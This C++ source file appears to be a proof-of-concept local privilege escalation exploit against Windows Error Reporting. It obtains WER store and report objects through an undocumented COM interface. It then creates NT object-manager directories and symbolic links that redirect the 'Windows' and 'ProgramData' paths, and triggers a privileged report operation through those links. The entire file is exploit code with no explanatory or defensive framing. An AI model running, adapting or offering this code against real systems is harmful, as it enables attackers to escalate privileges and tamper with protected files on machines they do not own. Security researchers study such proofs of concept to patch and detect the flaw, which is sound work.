#include "def.h"

int wmain(int argc, wchar_t** argv)

{
    IWerReport* pIWerReport = NULL;
    IErcLuaSupport* pIErcLuaSupport = NULL;
    IWerStoreFactory* pIWerStoreFactory = NULL;
    IWerStore* pIWerStore = NULL;
    IWerReportSubmitCallback* pIWerSubmitCallback = NULL;
    HRESULT result = 0;
    HMODULE hm = GetModuleHandle(NULL);
    UNICODE_STRING symlink_name;
    UNICODE_STRING path;
    UNICODE_STRING object;
    OBJECT_ATTRIBUTES objAttrLink, objAttrDir;
    HANDLE hSymlink, hObjectdir, hSymlinkWindows, hSymlinkProgramdata;
    HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
    WCHAR ntdcoDir[128] = { 0 };
    WCHAR ntdcoDir_1[128] = { 0 };
    pNtCreateSymbolicLinkObject = (_NtCreateSymbolicLinkObject)GetProcAddress(ntdll, "NtCreateSymbolicLinkObject");
    pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
    pNtCreateDirectoryObject = (_NtCreateDirectoryObject)GetProcAddress(ntdll, "NtCreateDirectoryObject");

    result = CoInitialize(NULL);

    BSTR data = SysAllocString(argv[1]);
    //BSTR report = SysAllocString(L"testing");
    BSTR report = SysAllocString(argv[3]);

    if (FAILED(result))
    {
        printf("Error: CoInitialize 0x%x\n", result);
        return -1;
    }

    result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

    if (FAILED(result))
    {
        printf("Error: CoInitializeSecurity 0x%x\n", result);
        return -1;
    }
    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    if (FAILED(result))
    {
        printf("Error CoCreateInstance: 0x%x\n", result);
        return -1;
    }

    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    if (FAILED(result))
    {
        printf("Error pIErcLuaSupport: 0x%x\n", result);
        return -1;
    }

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    if (FAILED(result))
    {
        printf("Error pIWerStoreFactory: 0x%x\n", result);
        return -1;
    }

    result = pIWerStore->Proc3();
    if (FAILED(result))
    {
        printf("Error pIWerStore(Proc3) : 0x%x\n", result);
        return -1;
    }

    result = pIWerStore->Proc6(report, &pIWerReport);
    if (FAILED(result))
    {
        printf("Error pIWerStore(Proc6): 0x%x\n", result);
        return -1;
    }
    int64_t ret = 0;

    ZeroMemory(ntdcoDir, 128);
    swprintf_s(ntdcoDir, 128, L"\\??\\%ls", argv[1]);
    pRtlInitUnicodeString(&object, ntdcoDir);
    
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);

    pRtlInitUnicodeString(&symlink_name, L"Windows");
    ZeroMemory(ntdcoDir, 128);
    swprintf_s(ntdcoDir, 128, L"\\GLOBAL??\\%ls\\%ls", argv[2], argv[1]);
    pRtlInitUnicodeString(&path, ntdcoDir);

    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);

    ZeroMemory(&objAttrLink, sizeof(objAttrLink));
    ZeroMemory(&symlink_name, sizeof(symlink_name));
    ZeroMemory(&path, sizeof(UNICODE_STRING));

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    ZeroMemory(ntdcoDir, 128);
    swprintf_s(ntdcoDir, 128, L"\\GLOBAL??\\%ls\\Programdata", argv[2]);
    pRtlInitUnicodeString(&path, ntdcoDir);
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);

    ZeroMemory(&objAttrLink, sizeof(objAttrLink));
    ZeroMemory(&symlink_name, sizeof(symlink_name));
    ZeroMemory(&path, sizeof(UNICODE_STRING));

    ZeroMemory(ntdcoDir, 128);
    swprintf_s(ntdcoDir, 128, L"\\??\\%ls", argv[2]);
    pRtlInitUnicodeString(&symlink_name, ntdcoDir);

    ZeroMemory(ntdcoDir_1, 128);
    swprintf_s(ntdcoDir_1, 128, L"\\??\\%ls", argv[1]);
    pRtlInitUnicodeString(&path, ntdcoDir_1);

    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    result = pIWerReport->Proc24(report, 1024, NULL, &data, &ret);
    if (FAILED(result))
    {
        printf("Error pIWerReport: 0x%x\n", result);
        return -1;
    }
    Sleep(2000);
    CloseHandle(hSymlink);
    CloseHandle(hObjectdir);
    CloseHandle(hSymlinkProgramdata);
    CloseHandle(hSymlinkWindows);
}